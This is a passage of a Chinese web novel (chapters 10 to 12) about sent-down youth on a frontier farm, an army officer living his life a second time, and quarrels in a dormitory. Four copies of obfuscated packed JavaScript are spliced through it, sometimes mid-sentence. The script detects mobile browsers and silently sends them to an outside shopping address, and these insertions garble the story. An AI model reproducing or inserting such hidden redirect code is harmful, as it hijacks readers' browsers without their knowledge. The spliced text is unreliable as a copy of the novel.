;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698862|189102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和攸宁去外……” “咻咻——” 方秋芙倏然转头。 弧形玻璃窗外,夜空中央忽而腾起一团光。 忽明忽暗的华彩停驻在她的大半张脸上,她的眼睛随光影映亮,清澈湿润,又因期待即将到来的烟火而带着潋滟。 “攸宁!有人放烟花!” 岑攸宁被她猛然一拽,下意识回头望着她。 “砰——” 火树银花层层绽放,坠下的流光拖曳着艳红的尾焰,明明灭灭。 她望着玻璃窗外,唇角涌出孩子气的笑意,那份纯粹的喜悦溢出眼底,映得她整张脸都鲜活起来。 他怔怔地看着她,只觉胸口骤然一紧,心脏咚咚作响。 跳跃的喧闹声犹在耳边。 “我头发是不是该再剪短一点啊?” 方秋芙倚着木桌,捏住她的发尾,迎着光晃了晃,语气随意。 “主要是在农场打理起来好麻烦,洗头要擦很久才干。等下次你有空,再给我剪一下吧,一回生二回熟嘛,你很会剪头发呀。” 离家那天,她还是一头飘逸如瀑的长发,现在就只到肩膀的位置。 过去一个月,他们每天随队赶路,洗漱和休息的时间很紧,没环境也没工具让她像在家里那样吹头发。 方秋芙不想再麻烦岑攸宁帮她擦头,心一横,借了把剪刀,举向身后,将她的后背朝向他。 那晚,她坐在夜色里,肩胛骨在薄薄的夏衣下勾勒出清晰的弧度,却依旧挺拔,像清瘦的细竹,手里的尖锐还闪着银光。 他看清她微微偏过的半张脸,比起新年,方秋芙又清减了不少。她唇角紧抿,明明很舍不得,眉眼却很坚定。 “剪了。” 前后两个画面渐渐与眼前的人重叠起来。 短短半年,光影变换。 门外传来一阵骚动。 岑攸宁没搭理,静静握了一把她的发丝,用手指温柔地替她顺了顺。发尾被他小心修剪过,好像还能闻到那股若隐若现的山茶花香气。 “好啊,我给你剪。” 以后都给你剪。 脚步声由远及近,每一步都稳而有力。 方秋芙的视线从岑攸宁脸上挪开,沿着地板缓缓往上攀,经过紧束的作战裤,一双矫健颀长的腿被包裹在其中,再往上,扫过紧而窄的腰腹,最终落在赵驰那张眉角微微拧起的脸上。 是他? 岑攸宁也注意到了。 他松开手心的黑发,刚想搂住方秋芙往自己身后躲,就听见赵驰冷冷的声音。 “让开。” 岑攸宁无奈靠边。 方秋芙想跟着他挪动,却被赵驰的动作打断,一只手拦在了她和岑攸宁中间。 她还想说什么,就见到赵驰朝她轻轻摆了下头,很快,钟会计也挤了进来。 方秋芙读懂气氛,朝岑攸宁摇摇头。 岑攸宁注视着她和赵驰的距离,一言不发。 在众人的注视下,赵驰拿起木桌内侧的电话听筒,钟会计跟在后面,跑过来手忙脚乱帮他摇号。原本嘈杂的室内变得安静,知青们明白此时不宜多嘴,呼吸不自觉轻缓,室内只有电话机传来几声滋滋声。 电话接通的瞬间,连风似乎都放慢了脚步。 “我是赵驰。” 方秋芙站在离他最近的位置,能看清他开口时浮动的喉结,还有他轻轻摩挲听筒的手指。 “对,我在处理青峰农场的改建考察。向阳那边的消息我已经知道了,我现在就动身,过去看看究竟什么情况,应该能参加晚上驻地的会议。” 他又“嗯”了两声,利落挂断。 钟会计见他通完电话,飞快凑过去,在他耳边小声说了几句。方秋芙离得近,能听见几个关键词,大概是派车送他的意思。 赵驰点了点头,扫了一眼周围,目光在岑攸宁脸上额外停留了两秒。 很快,他扔下一句“该干嘛干嘛”,背身迈步离开。 10. 第 10 章 盛夏傍晚,军区驻地的会议室闷热沉静。 窗帘已经拉上,隔绝了落日的炎热,偶尔有炙热的夏风拂过,暖光透过缝隙,斜斜地落在中央的长桌上。 桌上随座而列的热茶已经凉了,没了热气,氤氲着浅浅的茶香,纸张翻动和提笔记录的沙沙声此起彼伏。 “我确认了,向阳农场的情况有点严重。” 赵驰刚赶回来,额角还浸着细汗。 他原本的位置在一团团长的下方,此时他正站在司令员傅胜身侧,把记录的情况表递给他后,才回到团长身侧,背脊挺直,站着汇报。 “那片山区塌方很严重,加上东麓的泥石流,雷塔河塘堤有多处决口,他们向阳农场离得最近,生产管理用房直接坍塌,一号、二号仓库受损严重,进水约两米,预估有十万斤早稻还没来得及抢运,牛棚和马棚也进水,我离开前,他们场长已经派人把牛和马都牵到最近的农舍去了。” 参谋长点点头,夸了句,“你动作快,比电话里还要详细些。” 赵驰实话实说,“刚好今天在青峰农场,开车过去,比驻地要快。” 傅胜的手指轻敲桌面,再次询问,“确认没有人遇难吗?” 赵驰点头,“确认,目前没有接到失踪报告,只有向阳农场那位生产管理用房的保管员在抢险过程中受伤,被断木划到了大腿,已经送到苍川县医院救治,其余没有人受伤,主要是粮食和畜牧受损的问题。” 他汇报时语气沉稳专注,并不张扬。 傅胜叹了口气,放下手中的情况表,看向一团团长,“没出人命总归是件好事,你派两个连队去支援,一队去看看能不能抢运,抢运不了就赶紧先把剩余的转移,不要犹豫。另外一队负责牲畜的暂居暂养,给附近农舍的农民们带好物资和牧草,得辛苦他们养一段时间了。” 一团团长起身敬礼,拿到命令就立刻出发,经过赵驰时,还拍了下他的肩膀,小声道,“农场见。” 赵驰眉毛一跳。 果然,很快傅胜就给他安排了另一项任务。 “塘堤决口你有经验,带一个连队,再带一小队工兵,从雷塔河西侧绕过去,尽快解决。” “收到。” 赵驰转身要走,傅胜又叫住他,“等一下,还有两个问题。” “您说。” 傅胜朝着政治主任伸手,对方递给他一张单子,他嘴上没有停,“生产是大事,搞定了塘堤决口,你和团长再商量一下重建的事情,尽快恢复生产。” 二团果然有人有意见,“那赵营长是不是也太忙了?他最近不是在推进青峰农场的翻修吗?” 傅胜略微偏过头,骂道,“脑子有什么问题?是非大小都不分了?农场重建不是小事,赵驰有经验,推进计划要快一点,你也甭着急,等他们一团探探路,二团这趟多半要派一个营队过去支援重建。” 那人乖乖闭嘴,被旁边自家团长给了一记眼刀。 傅胜转过头继续给赵驰吩咐,“我给你的任务是给出重建的计划安排,你最近和青峰的孙进步聊过,了解农场设施的轻重缓急,不是让你盯梢的意思!确认了就赶紧滚回来报告。” 赵驰点头,“明白,第二个问题是?” 傅胜示意政治主任,让他来说。 政治主任拿起一页通信纸,脸色发愁,幽幽叹了口气,“有几个燕京来的下放知青已经到金城了,原本要送到向阳农场,这下出了事肯定是不行了。他们身份比较特殊,家里原本的位置都不低,有一对姐弟家里还在336工程立了功,都是不能出事的小辈,但规定是规定,该下放劳动是逃不了的,只是一时间还不知道往哪里塞,反正不能再送回去。” “确实不好处理啊。” 旁边的参谋长抿了口水。 他暗暗猜测了情况,大概这批小孩家里站错了位置,又念着昔日贡献,就送到他们这里来。苍川偏僻是偏僻了些,但肯定要比首都和金城安宁些,这儿的人天天埋头搞生产搞建设,起码不会遭受太过分的行径。 傅胜思考片刻,忽然问赵驰,“青峰农场如何?孙进步是个妥当的场长,我记得他在苍川县里有个生产的职位,人嘛,滑是滑了点,一心还是扑在实事上。” 他对孙进步印象不错。 那老小子看着胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698863|189102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小怕事、油嘴滑舌,实际上每次生产座谈会比谁都要在意,生怕牛冷了,羊瘦了,稻子麦子歉收了,三天两头就给驻地生产部部长打嘘寒问暖的电话,变着花样要钱改建农场。 溜须拍马都是从公家拍到公家,也是个妙人。 赵驰的思路很快。 他没有犹豫,雷塔河的事情还在眼前,没时间废话。 “如果要接受那几个青年的话,肯定没问题。” 傅胜点头,顺势和政治主任商量,“那就送到孙进步那儿吧。” 赵驰没继续听后续,他走出大楼,他快步向不远处的越野车迈去。 远处训练场上传来的脚步声和口令声被风吹得断续。 坐上副驾驶,司机是他熟悉的副营,“走吧,连队那边已经调好人了,工兵连那边你要不要选一下人?” “不用,让他们找擅长坑道支护和绳索救援的战士,塌方那条路有铁路线,让车队带个破碎机,掘道抢救快一点。” “得嘞。”副营长埋头用对讲机喊话。 赵驰系好安全带,捏了捏眉心。 今天起太早,下午出了趟临时任务,现在有些力竭。 重活一次,有些事情似乎不一样了。 比如这回的救援任务,他初来乍到,按理来说任务不会落到他头上,上一世他就没参加,只依稀记得是二□□人去的。难道真的是因为他申请了青峰农场的改建工程,从而改变了傅胜他们的思路? 再比如那几个要去向阳农场的子弟,就更没印象了! 他很确信,上一世根本没这件事情。就算是有,傅胜他们也没在他面前提过,多半随手塞到哪个犄角旮旯去了,反正肯定不是青峰农场。 赵驰想不明白,太阳穴有点胀痛。 他没时间想重生的事情,得赶紧把塘堤决口的任务完成,接下来他的个人任务清单也得尽快提上日程:不仅得联系傅之安帮方秋芙看病,还得找机会联络沪市那边,寻一寻方父方母的消息,让方秋芙和他们取得联系。 很多年以后,赵驰才意识到,当初在会议室回答的那句话,会让他万分后悔,又无比庆幸。 11. 第 11 章 “张大队长那么严格,你们平时怎么受得了的?” 清晨的宿舍弥漫着湿润的气息,女孩们错落站在窗台边洗漱。 孙玉挽起袖子,俯身将水盆里的清水撩到脸上,随意搓了两把,弄湿领口也不在意,嘴里还在叨叨,“上周我去叫他帮忙,他好凶,说田里的事情更加耽误不得,让我去找别人。我又去找李叔,他也不知道赶羊去哪里了。跑了一大圈回来,你们都完事儿了!” 方秋芙拧干毛巾,水珠从指尖溢出。 宿舍里另外三人都是农田组的社员。李向华正在外面晾毛巾,陈秀萍洗完脸,坐在炕边拿雪花膏涂脸,只有刘翠兰有空搭理孙玉。 她的雀斑脸蛋还飘着刚洗过脸的热气,“我们早就习惯了,你别以为张大队长光对你凶,他是一视同仁,对谁都那样,眼里除了生产就是生产,种地种得都有点六亲不认了!” 孙玉很意外,谁能想到他爹那样的奇葩,还能撞上一个同道中人! 陈秀萍不知道想到了什么,心烦道,“我也不喜欢他!” 方秋芙出门挂毛巾,刚好和李向华打了个照面,两人交换了一个友好的微笑,耳后又传来孙玉的嘟囔。 孙玉:“我也没有不喜欢他吧?就是没接触过,一时间不习惯,没那么严重。” “那你还挑这种话题?神经病!” “哎哟喂!陈秀萍,你怎么大早上骂人呢!” “就骂你,影响我上工的心情!” 方秋芙把毛巾搭在她们和“11号”宿舍公用的架子上,抬头望向边际,远处的农田映着早稻的金黄,更远处的霜砾山静默又庄严。 屋里传出泼水的哗啦声,紧接着是陈秀萍恼怒的尖叫,孙玉得逞的大笑,李向华笨拙的安慰,刘翠兰无意的火上浇油。 叮呤咣啷。 看样子是又打起来了。 方秋芙伸了个懒腰。 真是有活力的一天之始啊! 食堂屋檐下的槐树终于快开花了,米黄色的花瓣星星点点,散着清清淡淡的香气。 方秋芙绕过餐厅,从侧门走进厨房,耳道立即就被一阵忙碌的声响填满。 菜刀咚咚落在木墩上,不远处锅灶刚升起火,两个老社员守在火焰前,一个抱着切好的柴垛往里扔,一个手持铁夹钳翻动,木柴发出噼啪脆响。 她熟练地走到中央的备菜区。 一周以来,她的工作就是跟着前辈们备菜。 方秋芙洗好双手,按照往常路线,走到一个健壮的女人身边,“汪队长,我今天还是先淘米吗?” 汪队长正抱着一袋五升的面粉袋往案板倒,阳光透过食堂东侧的玻璃窗,映出空气中洋洋洒洒的细雪。倒上瓷盆里的水,她挽起袖子,双手揉面,力气使得实在。 “不想淘米了?”汪队长见到是她,先把面团压下去,用旁边的木槌打了两下,才回头道,“那想不想和面?来试试。” 周围剁菜的社员听见汪队长的话,小声议论,偶尔蹦出低低的笑声。 方秋芙走过去,在脑海中回忆,学着观察到的手法,肩膀一沉一送,面团却只是在手里艰难翻了个身,像起床失败的小姑娘似的,又很快塌了回去,软绵绵的。 方秋芙:“……” 好像力气小了点。 汪队长笑声爽朗,她接过面团,用宽厚有力的手掌轻轻一推,一气呵成下压,面团顿时乖乖摊平,任她揉捏。 “厨房可不是开玩笑,先不说外面砍柴的,里面生火的,光是案板上和面就是个体力活,你那细胳膊铁定不行!真让你来,怕是要酸疼好几天。小方同志,你还是继续去淘米洗菜吧,那个适合你,不亏力气,就是亏腰,不过你比咱们年轻,也不怕。” 方秋芙很挫败。 她乖乖挪到仓库,抱起两篮子苋菜,走到旁边的水池,埋头老老实实冲刷起来,还不忘仔细挑出碎叶和泥根。 汪队长偏头看她。 早前听说分了个新人过来,她就猜到孙进步那厮又要发疯狗病。果然,她一看方秋芙,就知道是个麻烦的病秧子,身子单薄,腰细无力,手臂都快瘦出骨头了,怕不是让她当祖宗供着? 她当时就来了无名火。 孙进步真当食堂是娇小姐们玩过家家的地方? 她没力气伺候大小姐,当天就打发方秋芙去旁边洗菜,别给他们添麻烦,农场几十口人等着吃饭呢。 这一洗,就是一个星期。 未曾想小姑娘倒是脾气好,被分到工分少的食堂也没闹,也没来多嘴找她耍脾气,甚至没抱怨过一句水冷腰疼。 要知道,当初她在初建农场时腿脚受了伤,才被派过来接手食堂,听说工分一个月要少三十,可是差点把孙进步给打进医院了。 挺好,安安静静的。 至于做事嘛,力气确实太小了,却有股子韧劲,明明每天下工时嘴唇都累得发紫,手还一刻不停,干活也还挺细心。 放满一层粗面馒头,社员端起蒸笼去灶台。 汪队长甩了甩酸胀的手臂,恰好听见旁边在摸鱼闲聊。 “我听说这批知青都是沪市周围来的,你说分到咱们这边的小方,是不是也是资派小姐?” “肯定是吧,不然何必来咱们苍川?去周围的县城的不好吗?离得还近些,用不着折腾。” “瞧着倒是挺安分,不过有点奇怪,资派小姐也吃不饱饭吗?她看着像贫血呢?总让我想起我老家那营养不良的侄女。” “是吧?我第一天看她也觉得,但她心性蛮好的,不爱说话,那洗菜的水多冷啊,也就是夏天还能忍,可能是她年轻?我刚来的时候,每天洗菜洗得我腰酸背痛……” 汪队长睨了她一眼,“你腰酸背痛是因为你老驼背!站得跟个蛇精似的,关你洗菜啥事儿?” “怪不得!我就说我现在切菜怎么也疼得紧,但控制不了嘛,从小就这样,省力~” 屋内蒸汽缭绕,窗外光线更迭。 值班食堂打菜的社员将几笼热气腾腾的粗面馒头搬到餐厅,剩余众人按流程下工签到。 方秋芙排在队尾,搓了搓被冷水泡红的手掌,指腹还余有细细的褶皱。 队伍挪动速度很快,在名字后面打个勾就行。 很快就轮到了她。 方秋芙在最后一行打上勾。 “小方同志。”站在签到桌旁边的汪队长叫住她,想到今天的闲聊,开门见山,“你身体是什么情况?贫血吗?” 方秋芙一愣,徐徐点头,“差不多,心脏有点问题,天生的。” 汪队长沉默半晌,没继续问。 方秋芙没力气深思队长的用意,她真的太饿了!饿到差点偷吃公家的馒头!于是答完话,她就跟着前辈们挪步饭菜窗口。 汪队长望着她瘦瘦的背影,叹了口气。 天色渐暗,食堂渐渐热闹起来。社员们三三两两挤满座位,身上还带着土腥味和汗味。青年们挤在一起,碗筷碰撞,吃得热火朝天,不知道是谁开了句玩笑,爆发出嘈杂的嬉闹声。 “方妹子,你在这里呢!” “秋秋!你也下工啦!” 方秋芙领完两个馒头,立即塞了半个到嘴里嚼嚼。她刚找了个座位坐下来,就听见有两道声音喊她。 雨声突然而至。 方秋芙下意识回头。 一阵零落的脚步声传来,食堂门口快步窜进几个来晚的社员,模样面生,“我靠!这雨怎么说下就下?” “我背心全湿了,才换的!” “是啊,真倒霉。” 胶鞋在地板上踩出混有泥土味的潮湿气味,值班社员看着满地狼藉,骂骂咧咧抱怨了几句。 拖布滑过,恢复如初。 与此同时,人群中似有一道隐隐约约的目光收敛。 方秋芙回过神。 她先看见了孙玉。 孙玉小跑过来,坐到她右侧,身上还混杂着草饲料的味道。仔细一看,她头顶还沾了两根细小的干草。孙玉也不在意,还没放下盘子,就开啃。 两人维持着同频的嚼嚼动作。 另一道声音是唐敬山。 方秋芙抬眼,还看到了在他旁边的岑攸宁。 他们应该都是农田组。 唐敬山的粗布衫敞开了一半扣子,露出半截结实饱满的胸膛轮廓。他原本想要坐在方秋芙对面,被岑攸宁轻咳一声阻止,只好噘着嘴坐到斜侧方。 坐下后,他还故意松开半截袖子。 白炽灯洒在唐敬山身上,随着他的动作,映出手臂肌肉漂亮的阴影。 他也不怕尴尬,咬了一大口馒头就继续开屏,“小方同志,这馒头是你做的吗?好香的!真好吃~嘿嘿!” 孙玉以掩耳不及盗铃之势踢了他一脚,“耍什么流氓呢?噎不死你小子!” 岑攸宁默默收回即将出击的长腿。 方秋芙嘴角抽了抽,“不是我,我没资格上灶台,今天负责洗苋菜。” 她目光探向岑攸宁的餐盘,切碎的苋菜在表面浮着,白米浓稠又散发着清香。 唐敬山嘴角一撇,略带惋惜,“那早知道就和岑攸宁选一样的了!哎呀,食堂真的很热啊,吃了我得赶紧回去洗澡。” 方秋芙忙着啃馒头,没注意到唐敬山刻意又松了松的领口。 她忽然郑重起来,板着脸来了句,“劳动以后,东西确实会变得好吃。” 热气腾腾的麦香在口腔中溢满,咀嚼变得格外美味,胃口也好了不少。 唐敬山:…… 有人在意一下他在凹造型吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698864|189102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肌肉很难练的! 方秋芙看向对面正安静喝粥的岑攸宁。 他的领口被汗浸湿了,白皙的脖颈微微红润。或许是隔得近的缘故,她甚至能看清他鼻翼细小的汗珠。 粥米热气氤氲,他微微张开嘴,唇色也比平日深了几分,泛着诱人的绯红。 这是种田应该有的状态吗?方秋芙不解。 岑攸宁注意到她亮晶晶的目光和越来越皱的五官,淡然道,“嗯,好吃。” 方秋芙宕机了几秒,意识到他误会自己要讨要唐敬山的同款夸夸,嘟囔道,“不是让你夸我的意思。” 岑攸宁打量她一阵,唇角浮起笑意,“那是什么意思?” “没什么。” 方秋芙咽下口水,不再看他。 他看起来挺适应的,说不定年底还能评上优秀社员呢。 那到时候她的冬装就有着落了! 真是白担心他一场,他一定混得比她好! 唐敬山被孙玉踹了几脚,根本没记打,转头就加入他们的谈话,“你们听说了吗?向阳农场在重建了,驻地动作还蛮快的嘛!” 孙玉见他没继续骚扰,放了他一马,“派了营队去,能不快吗?”她先怼完唐敬山,才幽幽叹了口气,“可惜了,听我们李队说,他们的马和牛怕是要在附近农家住上不久,不知道会不会生病。” 她真的很担心那些小动物,特别是听说有几头小牛刚出生,也不知道能不能活下来。 方秋芙也听说了向阳农场的灾情。 八月山雨倾泻,雷塔河的塘堤被硬生生冲开决口,向阳农场的仓库顷刻尽毁,畜牧场更是惨烈,万幸的是他们的农田筑在坡道后,没有受灾影响,也没有人遇难。 方秋芙想到什么,又问,“那他们的社员呢?还有地方住吗?” 孙玉:“向阳农场那群人虽然嘴巴臭得很,但都是硬骨头,听说自救了两天,已经把宿舍收拾出来了,应该很快会恢复生产。” 唐敬山借机会骂她,“我看你的嘴巴比他们还臭!” 孙玉站起来就想和他打一架。 方秋芙眼疾手快,伸手把她拽回来,岑攸宁也一把将旁边衣服快掉下去的黝黑小子按了下去。 “死流氓,我看你不爽很久了!” “吼?你以为老子就看你顺眼?” “你特爹的连个破布衫都挂不住!” “老子这是扣子松了!” “你放屁!装疯卖傻!” 就在两人准备从嘴仗转变为肢体冲突时,方秋芙见到有个熟悉的人影出现在食堂门口,看样子像是在寻人。 定眼一看,竟然是李向华? 李向华也见到了她们,急急忙忙过来,路上撞到食堂执勤打扫卫生的社员,还在拖把附近滑了一下,摸爬滚打才终于抵达。 方秋芙第一个问,“怎么了?” 她印象中,李向华是全宿舍最老实最安静的那个,能让她跑过来手忙脚乱摇人,多半是宿舍内出事了。 李向华喘着粗气,猛吸了两口气,又意识到什么,指了指旁边的岑攸宁和唐敬山,小小声道,“宿舍、宿舍!” 孙玉见状很慌张,也不管唐敬山的狗叫,连忙拉着方秋芙过去,三人鬼鬼祟祟躲在墙角,猜到是发生了不方便公开说的事情。 她压低声音,“怎么了?孙进步来查寝了吗?是不是发现了我偷偷藏起来的扑克牌?” 方秋芙猛看她一眼:? 你有好东西还不拿出来玩! 李向华摇摇头,声音跟蚊子似的,像是在说有人私通,整个脸憋得通红,“不是!是吵起来了,吵架!还扯头发!” 她还扯了两把自己的示意。 方秋芙看得吃痛,倒吸口气,再次震惊。 刘翠兰虽然自带搅混水的天赋技能,但她是真的没什么心眼,就是个没心没肺的小傻子,现在竟然能和陈秀萍扯头花掰手腕了? 孙玉的表情也好不到哪里去。 她了解陈秀萍的性子,若不是被惹急,不可能动手,那姑娘一向是雷声大雨点小,怕是被戳狠了心肺管子。 孙玉忽然想到了什么,左看右看,确认了安全,才神神秘秘道,“刘翠兰是不是骂她男人了?” 方秋芙的头顶快被问号扎穿了。 等一下,陈秀萍有对象吗? 这又是什么时候的新闻! 李向华也愣了几秒,瞪大双眼。 看她表情,很明显不是孙玉猜测的原因,多半也是第一次听说。 方秋芙等不下去了,赶紧问,“那到底是怎么了?” 说重点呀!别拖下去了,虽然宿舍的瓜她真的很想听。 李向华终于反应过来,说出重点,“不是翠兰,是一个新人!新来的知青!” 12. 第 12 章 早秋的雨来得快去得快。 三人走出食堂时,天幕宁静。她们慌慌张张回到宿舍,事发现场并没有物品受损。 板凳桌子水盆编织袋该在的都在。 孙玉枕头下面不该在的东西也在。 方秋芙也瞄了一眼自己的皮箱,没有挪过位置,大抵她的小宝贝们也都在。 天已经黑了大半,屋顶吊着的灯泡发出昏黄的光,映得两道人影格外清晰。 陈秀萍坐在她的床铺上抽泣,恰好位于宿舍的最左侧。 另一端尽头,一个穿着拼色花布衫的年轻女知青靠着墙蹲下,手里还捏着几根头发,眼神死死盯着陈秀萍,不时还朝着她露齿笑。 “到底什么情况?”孙玉疑惑。 陈秀萍像是终于见到青天大老爷的苦主,扯着孙玉的胳膊,哭得那叫一个肝肠寸断,“玉姐,她她她!她扯我头发!”她伸出食指,颤颤巍巍指向墙角的陌生知青,“好痛啊!” 方秋芙跟着看过去。 那是一个面容冷冽的年轻女人。年纪看起来和她差不多,脸颊还未完全褪去稚嫩,一双眼尾上翘的柳叶眼却带了股不合时宜的攻击性,像蛇一般死死盯着陈秀萍。 她就这样倚墙而坐。 身上披了件旧衫,样式重裁过,两种截然不同的面料诡异地缝合在一起,颜色古怪,墨绿配漆色,布料间还穿插着粗糙的缝线。 灯泡随窗外的夜风晃了晃,女知青忽然举起手里的头发丝晃了晃,吹了口气,旋即扯了一个灿烂的笑容,唇边露出两个深深的酒窝,牙齿泛着银光。 陈秀萍吓得要往孙玉身上拱,“你快替我收拾她!玉玉玉、玉姐!你不是大姐嘛,你得为我伸张正义呀!” 孙玉嫌弃地把她推开,害怕粘上她的鼻涕。 她正色道,“你把事情说清楚,到底是什么个情况,我才能公正地判断啊!” 陈秀萍哭够,泪水是一滴也没有了。 她空抹了两下脸,眼神有些躲闪,但还是坚持她的原告核心诉求,“反正就是她的错,突然朝我扑过来,拽着我头发不松,还吓我说要给我剃光头!疯女人!” 众人又看向那个新来的知青。 这么生猛? 女知青没去迎她们的目光,她朝着陈秀萍挑了下眉,嘴角还挂着那个渗人的笑容,也不开口辩解,倒像是在无声威胁,仿佛陈秀萍不说真话,她就真的敢拿刀给她剃头。 陈秀萍被吓得背皮发麻,下意识摸了摸她引以为豪的秀发,最终还是松口,没有了之前的底气,“好吧,她进门的时候,我说她穿衣服好奇怪,花花绿绿的,像个疯婆子……” 真相大白。 孙玉白了她一眼,“给你说了你那嘴巴迟早要挨打!” 陈秀萍转了转眼珠子,还在嘴硬,“我怎么知道她反应那么大……” 另一侧,得知缘由的方秋芙和刘翠兰走过去,准备扶那个新来的知青从地上起来。 方秋芙刚准备拉她,刘翠兰忽然催动搅屎棍技能,用最无辜的语气小声说了句,“确实是挺奇怪,花花绿……” “翠兰你的蝴蝶兰花盆倒了!”方秋芙吓得半死,生怕再起战况,赶紧一把将刘翠兰推开,以最快的速度拉起地上的女知青,爆发出前所未有的小宇宙,“你还没领被子吧,我带你去!走!” 女知青原本想拒绝,被她猛然一拉,三两步就被拽出宿舍。 “砰——” 门合上。 方秋芙觉得喉咙发紧。 心脏还在扑通扑通。 女知青并不领情,她狐疑打量一圈,原本想要说两句难听的话,见到方秋芙不断喘气,好像要死了,还是忍住冲动,把毒死人的话语压了回去,只是冷漠道了句。 “不需要你掺和。” 方秋芙没有多余的心思回嘴。 她用手压了一下心脏,死死攥住衬衣,大口喘了两下,才恢复过来。 额头已然渗出细汗。 “你,你别死门口。”女孩见她突然的动作,犹豫道。 方秋芙:…… 姐们儿少说两句好吗?求你了。 隔了半分钟,她恢复如初,指了指不远处还亮着灯的供销商店。方秋芙先行迈步,女孩犹豫了两秒,还是决定跟上。 “我叫方秋芙,也是新来的,刚来一周。” 她原本不是多管闲事的性格,也不知道是刚才宿舍的气氛太过恐怖,还是她内心其实住了一个她自己都不知道的和事佬,居然就这么把人给带了出来了。 带出来,就得负责任。 她不想做只提出问题,不解决问题的人。 方秋芙介绍完自己,没期待对方答复,一路上自顾自分享了农场情况,沿途还顺便介绍了一下设施,算是把赵驰和孙玉的活都给重复了一遍,拾起导游接力赛的第三棒。 领完水盆和被褥,女知青都没说一句话。 方秋芙主动替她拿了洗漱用品,她打开了话匣子,并不觉得气氛尴尬,只当她和自己当初一样,对新环境充满警惕和不信任。 她继续说了下宿舍的情况,介绍了几人的名字,没别的评价,最后才聊到自己,“对了,我是从沪市来的,你呢?” 女知青像是终于捕捉到了什么。 她抱着被褥,偏过头重新打量了一遍方秋芙,在脑海里快速闪过方才的诸多画面,微微蹙眉,低声问,“你家里也出事了?” 方秋芙停下脚步。 月光清凉,临近夜晚八点,小路上来来往往的脚步声并不多。宿舍的电灯次第亮起,水房锅炉不时传来呼噜噜的声音。 方秋芙努力压下血液里翻涌的恐惧,冷冷道,“没有,他们没事,只是暂时没写信联系。” 季姮和方潮生一定好好的。 不可能出事。 她不再多言,一改方才热情的态度。 女知青意识到了什么,跟上脚步,斟酌了下语言,主动提起,“我叫谢青云,我家人都在燕京。” 方秋芙点点头,没说话。 谢青云也陷入沉默。 等到两人快要走近长砖宿舍楼,谢青云忽然停下,小声唤了一声她的名字。 方秋芙已经比刚才冷静了不少。她设身处地站在谢青云的角度想了下,或许她家里也遇到了巨变,大概现在也很不安吧。 于是她便不再竖起防备,“怎么了?” 谢青云很干脆,“刚才对不起,你别生气,我不是故意诅咒你。只是,见了太多。” 方秋芙想插话解释她没生气,是她自己吓自己,有点惊恐发作,和谢青云那句话没关系。 然而根本没机会。 谢青云的声音带着天然的冷意,语速又快又清晰,完全不似十分钟前靠在墙边疯笑的模样,“回去后,你不用管我的事情,也不用和我走太近,我不需要朋友,就算以后农场发生什么,你也不要再像刚才那样鲁莽,离我远点,我谢青云用不着一个心脏病患者来拯救我,知道了吗?” 方秋芙一怔。 连孙玉都还没发现她的病。 谢青云嘴唇开合,想到了什么,凑近她耳边,以只有两人能听到的声音轻声道,“我比她们都懂你。” 末了,她又补充,“我也不会害你。” 因为她有种直觉,她和方秋芙大概是有相似的命运。 方秋芙找到机会,赶紧解释,“没,没冒犯,我是吓到,有点想家。” 她生怕被打断,舌尖飞快,说出口的话语都像是关键词提炼,连不成完整语句。 谢青云“嗯”了一声,没别的表示。 她退后一步,主动拉开两人的站位,声音恢复成平时的冷淡,“我要去看看朋友,你先回去吧,记住我刚才说的话。” 语毕,她抱着被子转身离开,像是往男社员宿舍的方向走去,没等方秋芙的答复。 农场宿舍楼不时传来低声的说笑和打闹。 谢青云绕到“10号”门牌前。 她看了一眼黑板上狗爬似的名字,冷笑敲门,“谢扶风!滚出来。” 隔了几秒,一张冷峻精致的脸从门口渗出,谢青云对上那双潮气森森的灰黑色眸子,指了一下不远处,那是方秋芙带她去的供销商店。 “去领被褥,冻死了我不会给你收尸。” 谢扶风凌乱的发丝垂在额前,遮住他拧紧的眉毛。 屋内还有旁人,听见门口动静,似是笑了,紧接着传来一道带着挑衅意味的喊声,“你那疯子姐啊?没事,谢二,你死了我给你哭坟。” “咔——” 门迅速合上。 夜色深深,月光从玻璃窗泻进军区廊桥。 军区宿舍楼一层,在靠近楼梯转角的位置,安置了一台新式公共电话机,墙上挂着牌子写明了“打电话先登记”。 赵驰走近。 他和值班员寒暄了几句,接过登记簿。 登记簿的纸页被翻得卷边,字迹深浅不一,都是最近提交了通话申请后留下的战士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 